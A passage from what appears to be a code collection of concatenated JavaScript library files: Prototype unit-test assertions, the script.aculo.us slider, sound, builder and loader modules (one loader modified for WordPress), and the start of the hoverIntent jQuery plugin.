assertEqual: function(expected, actual) {
var message = arguments[2] || "assertEqual";
try { (expected == actual) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertInspect: function(expected, actual) {
var message = arguments[2] || "assertInspect";
try { (expected == actual.inspect()) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertEnumEqual: function(expected, actual) {
var message = arguments[2] || "assertEnumEqual";
try { $A(expected).length == $A(actual).length &&
expected.zip(actual).all(function(pair) { return pair[0] == pair[1] }) ?
this.pass() : this.fail(message + ': expected ' + Test.Unit.inspect(expected) +
', actual ' + Test.Unit.inspect(actual)); }
catch(e) { this.error(e); }
},
assertNotEqual: function(expected, actual) {
var message = arguments[2] || "assertNotEqual";
try { (expected != actual) ? this.pass() :
this.fail(message + ': got "' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertIdentical: function(expected, actual) {
var message = arguments[2] || "assertIdentical";
try { (expected === actual) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertNotIdentical: function(expected, actual) {
var message = arguments[2] || "assertNotIdentical";
try { !(expected === actual) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertNull: function(obj) {
var message = arguments[1] || 'assertNull';
try { (obj==null) ? this.pass() :
this.fail(message + ': got "' + Test.Unit.inspect(obj) + '"'); }
catch(e) { this.error(e); }
},
assertMatch: function(expected, actual) {
var message = arguments[2] || 'assertMatch';
var regex = new RegExp(expected);
try { (regex.exec(actual)) ? this.pass() :
this.fail(message + ' : regex: "' + Test.Unit.inspect(expected) + ' did not match: ' + Test.Unit.inspect(actual) + '"'); }
catch(e) { this.error(e); }
},
assertHidden: function(element) {
var message = arguments[1] || 'assertHidden';
this.assertEqual("none", element.style.display, message);
},
assertNotNull: function(object) {
var message = arguments[1] || 'assertNotNull';
this.assert(object != null, message);
},
assertType: function(expected, actual) {
var message = arguments[2] || 'assertType';
try {
(actual.constructor == expected) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + (actual.constructor) + '"'); }
catch(e) { this.error(e); }
},
assertNotOfType: function(expected, actual) {
var message = arguments[2] || 'assertNotOfType';
try {
(actual.constructor != expected) ? this.pass() :
this.fail(message + ': expected "' + Test.Unit.inspect(expected) +
'", actual "' + (actual.constructor) + '"'); }
catch(e) { this.error(e); }
},
assertInstanceOf: function(expected, actual) {
var message = arguments[2] || 'assertInstanceOf';
try {
(actual instanceof expected) ? this.pass() :
this.fail(message + ": object was not an instance of the expected type"); }
catch(e) { this.error(e); }
},
assertNotInstanceOf: function(expected, actual) {
var message = arguments[2] || 'assertNotInstanceOf';
try {
!(actual instanceof expected) ? this.pass() :
this.fail(message + ": object was an instance of the not expected type"); }
catch(e) { this.error(e); }
},
assertRespondsTo: function(method, obj) {
var message = arguments[2] || 'assertRespondsTo';
try {
(obj[method] && typeof obj[method] == 'function') ? this.pass() :
this.fail(message + ": object doesn't respond to [" + method + "]"); }
catch(e) { this.error(e); }
},
assertReturnsTrue: function(method, obj) {
var message = arguments[2] || 'assertReturnsTrue';
try {
var m = obj[method];
if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)];
m() ? this.pass() :
this.fail(message + ": method returned false"); }
catch(e) { this.error(e); }
},
assertReturnsFalse: function(method, obj) {
var message = arguments[2] || 'assertReturnsFalse';
try {
var m = obj[method];
if(!m) m = obj['is'+method.charAt(0).toUpperCase()+method.slice(1)];
!m() ? this.pass() :
this.fail(message + ": method returned true"); }
catch(e) { this.error(e); }
},
assertRaise: function(exceptionName, method) {
var message = arguments[2] || 'assertRaise';
try {
method();
this.fail(message + ": exception expected but none was raised"); }
catch(e) {
((exceptionName == null) || (e.name==exceptionName)) ? this.pass() : this.error(e);
}
},
assertElementsMatch: function() {
var expressions = $A(arguments), elements = $A(expressions.shift());
if (elements.length != expressions.length) {
this.fail('assertElementsMatch: size mismatch: ' + elements.length + ' elements, ' + expressions.length + ' expressions');
return false;
}
elements.zip(expressions).all(function(pair, index) {
var element = $(pair.first()), expression = pair.last();
if (element.match(expression)) return true;
this.fail('assertElementsMatch: (in index ' + index + ') expected ' + expression.inspect() + ' but got ' + element.inspect());
}.bind(this)) && this.pass();
},
assertElementMatches: function(element, expression) {
this.assertElementsMatch([element], expression);
},
benchmark: function(operation, iterations) {
var startAt = new Date();
(iterations || 1).times(operation);
var timeTaken = ((new Date())-startAt);
this.info((arguments[2] || 'Operation') + ' finished ' +
iterations + ' iterations in ' + (timeTaken/1000)+'s' );
return timeTaken;
},
_isVisible: function(element) {
element = $(element);
if(!element.parentNode) return true;
this.assertNotNull(element);
if(element.style && Element.getStyle(element, 'display') == 'none')
return false;
return this._isVisible(element.parentNode);
},
assertNotVisible: function(element) {
this.assert(!this._isVisible(element), Test.Unit.inspect(element) + " was not hidden and didn't have a hidden parent either. " + ("" || arguments[1]));
},
assertVisible: function(element) {
this.assert(this._isVisible(element), Test.Unit.inspect(element) + " was not visible. " + ("" || arguments[1]));
},
benchmark: function(operation, iterations) {
var startAt = new Date();
(iterations || 1).times(operation);
var timeTaken = ((new Date())-startAt);
this.info((arguments[2] || 'Operation') + ' finished ' +
iterations + ' iterations in ' + (timeTaken/1000)+'s' );
return timeTaken;
}
};
Test.Unit.Testcase = Class.create();
Object.extend(Object.extend(Test.Unit.Testcase.prototype, Test.Unit.Assertions.prototype), {
initialize: function(name, test, setup, teardown) {
Test.Unit.Assertions.prototype.initialize.bind(this)();
this.name = name;
if(typeof test == 'string') {
test = test.gsub(/(\.should[^\(]+\()/,'#{0}this,');
test = test.gsub(/(\.should[^\(]+)\(this,\)/,'#{1}(this)');
this.test = function() {
eval('with(this){'+test+'}');
}
} else {
this.test = test || function() {};
}
this.setup = setup || function() {};
this.teardown = teardown || function() {};
this.isWaiting = false;
this.timeToWait = 1000;
},
wait: function(time, nextPart) {
this.isWaiting = true;
this.test = nextPart;
this.timeToWait = time;
},
run: function() {
try {
try {
if (!this.isWaiting) this.setup.bind(this)();
this.isWaiting = false;
this.test.bind(this)();
} finally {
if(!this.isWaiting) {
this.teardown.bind(this)();
}
}
}
catch(e) { this.error(e); }
}
});
// *EXPERIMENTAL* BDD-style testing to please non-technical folk
// This draws many ideas from RSpec http://rspec.rubyforge.org/
Test.setupBDDExtensionMethods = function(){
var METHODMAP = {
shouldEqual: 'assertEqual',
shouldNotEqual: 'assertNotEqual',
shouldEqualEnum: 'assertEnumEqual',
shouldBeA: 'assertType',
shouldNotBeA: 'assertNotOfType',
shouldBeAn: 'assertType',
shouldNotBeAn: 'assertNotOfType',
shouldBeNull: 'assertNull',
shouldNotBeNull: 'assertNotNull',
shouldBe: 'assertReturnsTrue',
shouldNotBe: 'assertReturnsFalse',
shouldRespondTo: 'assertRespondsTo'
};
var makeAssertion = function(assertion, args, object) {
this[assertion].apply(this,(args || []).concat([object]));
};
Test.BDDMethods = {};
$H(METHODMAP).each(function(pair) {
Test.BDDMethods[pair.key] = function() {
var args = $A(arguments);
var scope = args.shift();
makeAssertion.apply(scope, [pair.value, args, this]); };
});
[Array.prototype, String.prototype, Number.prototype, Boolean.prototype].each(
function(p){ Object.extend(p, Test.BDDMethods) }
);
};
Test.context = function(name, spec, log){
Test.setupBDDExtensionMethods();
var compiledSpec = {};
var titles = {};
for(specName in spec) {
switch(specName){
case "setup":
case "teardown":
compiledSpec[specName] = spec[specName];
break;
default:
var testName = 'test'+specName.gsub(/\s+/,'-').camelize();
var body = spec[specName].toString().split('\n').slice(1);
if(/^\{/.test(body[0])) body = body.slice(1);
body.pop();
body = body.map(function(statement){
return statement.strip()
});
compiledSpec[testName] = body.join('\n');
titles[testName] = specName;
}
}
new Test.Unit.Runner(compiledSpec, { titles: titles, testLog: log || 'testlog', context: name });
}; | JavaScript |
// script.aculo.us slider.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Marty Haught, Thomas Fuchs
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/
if (!Control) var Control = { };
// options:
// axis: 'vertical', or 'horizontal' (default)
//
// callbacks:
// onChange(value)
// onSlide(value)
Control.Slider = Class.create({
initialize: function(handle, track, options) {
var slider = this;
if (Object.isArray(handle)) {
this.handles = handle.collect( function(e) { return $(e) });
} else {
this.handles = [$(handle)];
}
this.track = $(track);
this.options = options || { };
this.axis = this.options.axis || 'horizontal';
this.increment = this.options.increment || 1;
this.step = parseInt(this.options.step || '1');
this.range = this.options.range || $R(0,1);
this.value = 0; // assure backwards compat
this.values = this.handles.map( function() { return 0 });
this.spans = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
this.options.startSpan = $(this.options.startSpan || null);
this.options.endSpan = $(this.options.endSpan || null);
this.restricted = this.options.restricted || false;
this.maximum = this.options.maximum || this.range.end;
this.minimum = this.options.minimum || this.range.start;
// Will be used to align the handle onto the track, if necessary
this.alignX = parseInt(this.options.alignX || '0');
this.alignY = parseInt(this.options.alignY || '0');
this.trackLength = this.maximumOffset() - this.minimumOffset();
this.handleLength = this.isVertical() ?
(this.handles[0].offsetHeight != 0 ?
this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) :
(this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth :
this.handles[0].style.width.replace(/px$/,""));
this.active = false;
this.dragging = false;
this.disabled = false;
if (this.options.disabled) this.setDisabled();
// Allowed values array
this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
if (this.allowedValues) {
this.minimum = this.allowedValues.min();
this.maximum = this.allowedValues.max();
}
this.eventMouseDown = this.startDrag.bindAsEventListener(this);
this.eventMouseUp = this.endDrag.bindAsEventListener(this);
this.eventMouseMove = this.update.bindAsEventListener(this);
// Initialize handles in reverse (make sure first handle is active)
this.handles.each( function(h,i) {
i = slider.handles.length-1-i;
slider.setValue(parseFloat(
(Object.isArray(slider.options.sliderValue) ?
slider.options.sliderValue[i] : slider.options.sliderValue) ||
slider.range.start), i);
h.makePositioned().observe("mousedown", slider.eventMouseDown);
});
this.track.observe("mousedown", this.eventMouseDown);
document.observe("mouseup", this.eventMouseUp);
document.observe("mousemove", this.eventMouseMove);
this.initialized = true;
},
dispose: function() {
var slider = this;
Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
Event.stopObserving(document, "mouseup", this.eventMouseUp);
Event.stopObserving(document, "mousemove", this.eventMouseMove);
this.handles.each( function(h) {
Event.stopObserving(h, "mousedown", slider.eventMouseDown);
});
},
setDisabled: function(){
this.disabled = true;
},
setEnabled: function(){
this.disabled = false;
},
getNearestValue: function(value){
if (this.allowedValues){
if (value >= this.allowedValues.max()) return(this.allowedValues.max());
if (value <= this.allowedValues.min()) return(this.allowedValues.min());
var offset = Math.abs(this.allowedValues[0] - value);
var newValue = this.allowedValues[0];
this.allowedValues.each( function(v) {
var currentOffset = Math.abs(v - value);
if (currentOffset <= offset){
newValue = v;
offset = currentOffset;
}
});
return newValue;
}
if (value > this.range.end) return this.range.end;
if (value < this.range.start) return this.range.start;
return value;
},
setValue: function(sliderValue, handleIdx){
if (!this.active) {
this.activeHandleIdx = handleIdx || 0;
this.activeHandle = this.handles[this.activeHandleIdx];
this.updateStyles();
}
handleIdx = handleIdx || this.activeHandleIdx || 0;
if (this.initialized && this.restricted) {
if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
sliderValue = this.values[handleIdx-1];
if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
sliderValue = this.values[handleIdx+1];
}
sliderValue = this.getNearestValue(sliderValue);
this.values[handleIdx] = sliderValue;
this.value = this.values[0]; // assure backwards compat
this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] =
this.translateToPx(sliderValue);
this.drawSpans();
if (!this.dragging || !this.event) this.updateFinished();
},
setValueBy: function(delta, handleIdx) {
this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta,
handleIdx || this.activeHandleIdx || 0);
},
translateToPx: function(value) {
return Math.round(
((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) *
(value - this.range.start)) + "px";
},
translateToValue: function(offset) {
return ((offset/(this.trackLength-this.handleLength) *
(this.range.end-this.range.start)) + this.range.start);
},
getRange: function(range) {
var v = this.values.sortBy(Prototype.K);
range = range || 0;
return $R(v[range],v[range+1]);
},
minimumOffset: function(){
return(this.isVertical() ? this.alignY : this.alignX);
},
maximumOffset: function(){
return(this.isVertical() ?
(this.track.offsetHeight != 0 ? this.track.offsetHeight :
this.track.style.height.replace(/px$/,"")) - this.alignY :
(this.track.offsetWidth != 0 ? this.track.offsetWidth :
this.track.style.width.replace(/px$/,"")) - this.alignX);
},
isVertical: function(){
return (this.axis == 'vertical');
},
drawSpans: function() {
var slider = this;
if (this.spans)
$R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
if (this.options.startSpan)
this.setSpan(this.options.startSpan,
$R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
if (this.options.endSpan)
this.setSpan(this.options.endSpan,
$R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
},
setSpan: function(span, range) {
if (this.isVertical()) {
span.style.top = this.translateToPx(range.start);
span.style.height = this.translateToPx(range.end - range.start + this.range.start);
} else {
span.style.left = this.translateToPx(range.start);
span.style.width = this.translateToPx(range.end - range.start + this.range.start);
}
},
updateStyles: function() {
this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
Element.addClassName(this.activeHandle, 'selected');
},
startDrag: function(event) {
if (Event.isLeftClick(event)) {
if (!this.disabled){
this.active = true;
var handle = Event.element(event);
var pointer = [Event.pointerX(event), Event.pointerY(event)];
var track = handle;
if (track==this.track) {
var offsets = this.track.cumulativeOffset();
this.event = event;
this.setValue(this.translateToValue(
(this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
));
var offsets = this.activeHandle.cumulativeOffset();
this.offsetX = (pointer[0] - offsets[0]);
this.offsetY = (pointer[1] - offsets[1]);
} else {
// find the handle (prevents issues with Safari)
while((this.handles.indexOf(handle) == -1) && handle.parentNode)
handle = handle.parentNode;
if (this.handles.indexOf(handle)!=-1) {
this.activeHandle = handle;
this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
this.updateStyles();
var offsets = this.activeHandle.cumulativeOffset();
this.offsetX = (pointer[0] - offsets[0]);
this.offsetY = (pointer[1] - offsets[1]);
}
}
}
Event.stop(event);
}
},
update: function(event) {
if (this.active) {
if (!this.dragging) this.dragging = true;
this.draw(event);
if (Prototype.Browser.WebKit) window.scrollBy(0,0);
Event.stop(event);
}
},
draw: function(event) {
var pointer = [Event.pointerX(event), Event.pointerY(event)];
var offsets = this.track.cumulativeOffset();
pointer[0] -= this.offsetX + offsets[0];
pointer[1] -= this.offsetY + offsets[1];
this.event = event;
this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
if (this.initialized && this.options.onSlide)
this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
},
endDrag: function(event) {
if (this.active && this.dragging) {
this.finishDrag(event, true);
Event.stop(event);
}
this.active = false;
this.dragging = false;
},
finishDrag: function(event, success) {
this.active = false;
this.dragging = false;
this.updateFinished();
},
updateFinished: function() {
if (this.initialized && this.options.onChange)
this.options.onChange(this.values.length>1 ? this.values : this.value, this);
this.event = null;
}
}); | JavaScript |
// script.aculo.us scriptaculous.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// For details, see the script.aculo.us web site: http://script.aculo.us/
var Scriptaculous = {
Version: '1.8.3',
require: function(libraryName) {
try{
// inserting via DOM fails in Safari 2.0, so brute force approach
document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
} catch(e) {
// for xhtml+xml served content, fall back to DOM methods
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = libraryName;
document.getElementsByTagName('head')[0].appendChild(script);
}
},
REQUIRED_PROTOTYPE: '1.6.0.3',
load: function() {
function convertVersionString(versionString) {
var v = versionString.replace(/_.*|\./g, '');
v = parseInt(v + '0'.times(4-v.length));
return versionString.indexOf('_') > -1 ? v-1 : v;
}
if((typeof Prototype=='undefined') ||
(typeof Element == 'undefined') ||
(typeof Element.Methods=='undefined') ||
(convertVersionString(Prototype.Version) <
convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
throw("script.aculo.us requires the Prototype JavaScript framework >= " +
Scriptaculous.REQUIRED_PROTOTYPE);
var js = /scriptaculous\.js(\?.*)?$/;
$$('head script[src]').findAll(function(s) {
return s.src.match(js);
}).each(function(s) {
var path = s.src.replace(js, ''),
includes = s.src.match(/\?.*load=([a-z,]*)/);
// Modified for WordPress to work with enqueue_script
if ( includes ) {
includes[1].split(',').each( function(include) {
Scriptaculous.require(path+include+'.js')
});
}
});
}
};
Scriptaculous.load();
| JavaScript |
// script.aculo.us sound.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Based on code created by Jules Gravinese (http://www.webveteran.com/)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/
Sound = {
tracks: {},
_enabled: true,
template:
new Template('<embed style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>'),
enable: function(){
Sound._enabled = true;
},
disable: function(){
Sound._enabled = false;
},
play: function(url){
if(!Sound._enabled) return;
var options = Object.extend({
track: 'global', url: url, replace: false
}, arguments[1] || {});
if(options.replace && this.tracks[options.track]) {
$R(0, this.tracks[options.track].id).each(function(id){
var sound = $('sound_'+options.track+'_'+id);
sound.Stop && sound.Stop();
sound.remove();
});
this.tracks[options.track] = null;
}
if(!this.tracks[options.track])
this.tracks[options.track] = { id: 0 };
else
this.tracks[options.track].id++;
options.id = this.tracks[options.track].id;
$$('body')[0].insert(
Prototype.Browser.IE ? new Element('bgsound',{
id: 'sound_'+options.track+'_'+options.id,
src: options.url, loop: 1, autostart: true
}) : Sound.template.evaluate(options));
}
};
if(Prototype.Browser.Gecko && navigator.userAgent.indexOf("Win") > 0){
if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('QuickTime') != -1 }))
Sound.template = new Template('<object id="sound_#{track}_#{id}" width="0" height="0" type="audio/mpeg" data="#{url}"/>');
else if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('Windows Media') != -1 }))
Sound.template = new Template('<object id="sound_#{track}_#{id}" type="application/x-mplayer2" data="#{url}"></object>');
else if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('RealPlayer') != -1 }))
Sound.template = new Template('<embed type="audio/x-pn-realaudio-plugin" style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>');
else
Sound.play = function(){};
} | JavaScript |
// script.aculo.us scriptaculous.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// For details, see the script.aculo.us web site: http://script.aculo.us/
var Scriptaculous = {
Version: '1.8.3',
require: function(libraryName) {
try{
// inserting via DOM fails in Safari 2.0, so brute force approach
document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
} catch(e) {
// for xhtml+xml served content, fall back to DOM methods
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = libraryName;
document.getElementsByTagName('head')[0].appendChild(script);
}
},
REQUIRED_PROTOTYPE: '1.6.0.3',
load: function() {
function convertVersionString(versionString) {
var v = versionString.replace(/_.*|\./g, '');
v = parseInt(v + '0'.times(4-v.length));
return versionString.indexOf('_') > -1 ? v-1 : v;
}
if((typeof Prototype=='undefined') ||
(typeof Element == 'undefined') ||
(typeof Element.Methods=='undefined') ||
(convertVersionString(Prototype.Version) <
convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
throw("script.aculo.us requires the Prototype JavaScript framework >= " +
Scriptaculous.REQUIRED_PROTOTYPE);
var js = /scriptaculous\.js(\?.*)?$/;
$$('head script[src]').findAll(function(s) {
return s.src.match(js);
}).each(function(s) {
var path = s.src.replace(js, ''),
includes = s.src.match(/\?.*load=([a-z,]*)/);
(includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
function(include) { Scriptaculous.require(path+include+'.js') });
});
}
};
Scriptaculous.load(); | JavaScript |
// script.aculo.us builder.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/
var Builder = {
NODEMAP: {
AREA: 'map',
CAPTION: 'table',
COL: 'table',
COLGROUP: 'table',
LEGEND: 'fieldset',
OPTGROUP: 'select',
OPTION: 'select',
PARAM: 'object',
TBODY: 'table',
TD: 'table',
TFOOT: 'table',
TH: 'table',
THEAD: 'table',
TR: 'table'
},
// note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken,
// due to a Firefox bug
node: function(elementName) {
elementName = elementName.toUpperCase();
// try innerHTML approach
var parentTag = this.NODEMAP[elementName] || 'div';
var parentElement = document.createElement(parentTag);
try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
} catch(e) {}
var element = parentElement.firstChild || null;
// see if browser added wrapping tags
if(element && (element.tagName.toUpperCase() != elementName))
element = element.getElementsByTagName(elementName)[0];
// fallback to createElement approach
if(!element) element = document.createElement(elementName);
// abort if nothing could be created
if(!element) return;
// attributes (or text)
if(arguments[1])
if(this._isStringOrNumber(arguments[1]) ||
(arguments[1] instanceof Array) ||
arguments[1].tagName) {
this._children(element, arguments[1]);
} else {
var attrs = this._attributes(arguments[1]);
if(attrs.length) {
try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707
parentElement.innerHTML = "<" +elementName + " " +
attrs + "></" + elementName + ">";
} catch(e) {}
element = parentElement.firstChild || null;
// workaround firefox 1.0.X bug
if(!element) {
element = document.createElement(elementName);
for(attr in arguments[1])
element[attr == 'class' ? 'className' : attr] = arguments[1][attr];
}
if(element.tagName.toUpperCase() != elementName)
element = parentElement.getElementsByTagName(elementName)[0];
}
}
// text, or array of children
if(arguments[2])
this._children(element, arguments[2]);
return $(element);
},
_text: function(text) {
return document.createTextNode(text);
},
ATTR_MAP: {
'className': 'class',
'htmlFor': 'for'
},
_attributes: function(attributes) {
var attrs = [];
for(attribute in attributes)
attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) +
'="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'"') + '"');
return attrs.join(" ");
},
_children: function(element, children) {
if(children.tagName) {
element.appendChild(children);
return;
}
if(typeof children=='object') { // array can hold nodes and text
children.flatten().each( function(e) {
if(typeof e=='object')
element.appendChild(e);
else
if(Builder._isStringOrNumber(e))
element.appendChild(Builder._text(e));
});
} else
if(Builder._isStringOrNumber(children))
element.appendChild(Builder._text(children));
},
_isStringOrNumber: function(param) {
return(typeof param=='string' || typeof param=='number');
},
build: function(html) {
var element = this.node('div');
$(element).update(html.strip());
return element.down();
},
dump: function(scope) {
if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope
var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " +
"BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " +
"FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+
"KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+
"PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+
"TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);
tags.each( function(tag){
scope[tag] = function() {
return Builder.node.apply(Builder, [tag].concat($A(arguments)));
};
});
}
}; | JavaScript |
/**
* hoverIntent is similar to jQuery's built-in "hover" function except that
* instead of firing the onMouseOver event immediately, hoverIntent checks
* to see if the user's mouse has slowed down (beneath the sensitivity
* threshold) before firing the onMouseOver event.
*
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* hoverIntent is currently available for use in all personal or commercial
* projects under both MIT and GPL licenses. This means that you can choose
* the license that best suits your project, and use it accordingly.
*
* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions
* $("ul li").hoverIntent( showNav , hideNav );
*
* // advanced usage receives configuration object only
* $("ul li").hoverIntent({
* sensitivity: 7, // number = sensitivity threshold (must be 1 or higher)
* interval: 100, // number = milliseconds of polling interval
* over: showNav, // function = onMouseOver callback (required)
* timeout: 0, // number = milliseconds delay before onMouseOut function call
* out: hideNav // function = onMouseOut callback (required)
* });
*
* @param f onMouseOver function || An object with configuration options
* @param g onMouseOut function || Nothing (use configuration options object)
* @author Brian Cherne <brian@cherne.net>
*/
(function($) {
$.fn.hoverIntent = function(f,g) {
// default configuration options
var cfg = {
sensitivity: 7,
interval: 100,
timeout: 0
};
// override configuration options with user supplied object
cfg = $.extend(cfg, g ? { over: f, out: g } : f );
// instantiate variables
// cX, cY = current X and Y position of mouse, updated by mousemove event
// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
var cX, cY, pX, pY;
// A private function for getting mouse position
var track = function(ev) {
cX = ev.pageX;
cY = ev.pageY;
};
// A private function for comparing current and previous mouse position
var compare = function(ev,ob) {
ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
// compare mouse positions to see if they've crossed the threshold
if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
$(ob).unbind("mousemove",track);
// set hoverIntent state to true (so mouseOut can be called)
ob.hoverIntent_s = 1;
return cfg.over.apply(ob,[ev]);
} else {
// set previous coordinates for next time
pX = cX; pY = cY;
// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
}
};
// A private function for delaying the mouseOut function
var delay = function(ev,ob) {
ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
ob.hoverIntent_s = 0;
return cfg.out.apply(ob,[ev]);
};
// workaround for Mozilla bug: not firing mouseout/mouseleave on absolute positioned elements over textareas and input type="text"
var handleHover = function(e) {
var t = this;
// next two lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
if ( p == this ) {
if ( $.browser.mozilla ) {
if ( e.type == "mouseout" ) {
t.mtout = setTimeout( function(){doHover(e,t);}, 30 );
} else {
if (t.mtout) { t.mtout = clearTimeout(t.mtout); }
}
}
return;
} else {
if (t.mtout) { t.mtout = clearTimeout(t.mtout); }
